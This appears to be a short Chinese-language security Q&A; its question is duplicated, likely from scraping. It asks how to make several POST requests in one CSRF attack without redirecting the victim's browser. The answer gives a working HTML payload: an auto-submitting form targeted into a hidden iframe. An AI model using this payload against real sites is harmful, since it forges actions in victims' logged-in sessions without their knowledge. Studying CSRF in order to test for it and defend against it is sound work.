我知道您可以使用以下方法使用 CSRF 执行 POST 请求:
<form name="x" action="http://site/index/dosomething" enctype="text/plain" method="post">
<!-- stuff -->
</form>
<script>document.x.submit();</script>
但这会将浏览器重定向到目标站点。是否可以使用单个 CSRF 攻击执行多个 POST 请求?
我知道您可以使用以下方法使用 CSRF 执行 POST 请求:
<form name="x" action="http://site/index/dosomething" enctype="text/plain" method="post">
<!-- stuff -->
</form>
<script>document.x.submit();</script>
但这会将浏览器重定向到目标站点。是否可以使用单个 CSRF 攻击执行多个 POST 请求?
是的 - 使用 iframe 是一种方法:
<form name="x" action="http://site/index/dosomething" enctype="text/plain" method="post" target="thing">
<!-- stuff -->
</form>
<iframe name="thing"/>
<script>document.x.submit();</script>